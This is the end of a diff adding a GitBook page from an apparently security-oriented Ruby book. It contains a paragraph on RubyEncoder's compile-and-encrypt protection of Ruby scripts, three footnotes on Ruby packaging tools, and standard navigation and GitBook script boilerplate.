+ <p><strong>RubyEncoder</strong><sup><a href="#fn_3" id="reffn_3">3</a></sup> protects Ruby scripts by compiling Ruby source code into a bytecode format and this is followed by encryption. This protects your scripts from reverse engineering. Ruby scripts protected with RubyEncoder can be executed but cannot be used to extract Ruby source code as there is no source code remaining within the protected script in any form.</p>
1488
+ <h2 id=""><a name="" class="plugin-anchor" href="#"><span class="fa fa-link"></span></a><br><br><br></h2>
1489
+ <blockquote id="fn_1">
1490
+ <sup>1</sup>. Traveling-ruby: <a href="http://phusion.github.io/traveling-ruby/" target="_blank">Official website</a><a href="#reffn_1" title="Jump back to footnote [1] in the text."> &#x21A9;</a>
1491
+ </blockquote>
1492
+ <blockquote id="fn_2">
1493
+ <sup>2</sup>. mruby CLI: <a href="https://github.com/hone/mruby-cli" target="_blank">Official website</a><a href="#reffn_2" title="Jump back to footnote [2] in the text."> &#x21A9;</a>
1494
+ </blockquote>
1495
+ <blockquote id="fn_3">
1496
+ <sup>3</sup>. RubyEncoder: <a href="http://rubyencoder.com" target="_blank">Official website</a><a href="#reffn_3" title="Jump back to footnote [3] in the text."> &#x21A9;</a>
1497
+ </blockquote>
1498
+
1499
+
1500
+ </section>
1501
+
1502
+
1503
+ </div>
1504
+ </div>
1505
+ </div>
1506
+
1507
+
1508
+ <a href="../module_0x1__basic_ruby_kung_fu/array.html" class="navigation navigation-prev " aria-label="Previous page: Array"><i class="fa fa-angle-left"></i></a>
1509
+
1510
+
1511
+ <a href="../module_0x2__system_kung_fu/command_execution.html" class="navigation navigation-next " aria-label="Next page: Command Execution"><i class="fa fa-angle-right"></i></a>
1512
+
1513
+ </div>
1514
+ </div>
1515
+
1516
+
1517
+ <script src="../gitbook/app.js"></script>
1518
+
1519
+
1520
+ <script src="../gitbook/plugins/gitbook-plugin-splitter/splitter.js"></script>
1521
+
1522
+
1523
+
1524
+ <script src="../gitbook/plugins/gitbook-plugin-book-summary-scroll-position-saver/book-summary-scroll-position-saver.js"></script>
1525
+
1526
+
1527
+
1528
+ <script src="../gitbook/plugins/gitbook-plugin-expandable-chapters/expandable-chapters.js"></script>
1529
+
1530
+
1531
+
1532
+ <script src="../gitbook/plugins/gitbook-plugin-search/lunr.min.js"></script>
1533
+
1534
+
1535
+
1536
+ <script src="../gitbook/plugins/gitbook-plugin-search/search.js"></script>
1537
+
1538
+
1539
+
1540
+ <script src="../gitbook/plugins/gitbook-plugin-sharing/buttons.js"></script>
1541
+
1542
+
1543
+
1544
+ <script src="../gitbook/plugins/gitbook-plugin-fontsettings/buttons.js"></script>
1545
+
1546
+
1547
+ <script>
1548
+ require(["gitbook"], function(gitbook) {
1549
+ var config = {"addcssjs":{"js":["styles/header.js"]},"anchors":{},"todo":{},"splitter":{},"book-summary-scroll-position-saver":{},"expandable-chapters":{},"highlight":{},"search":{"maxIndexSize":1000000},"sharing":{"facebook":true,"twitter":true,"google":false,"weibo":false,"instapaper":false,"vk":false,"all":["facebook","google","twitter","weibo","instapaper"]},"fontsettings":{"theme":"white","family":"sans","size":2}};
1550
+ gitbook.start(config);
1551
+ });
1552
+ </script>
1553
+
1554
+
1555
+ </body>
1556
+
1557
+ </html>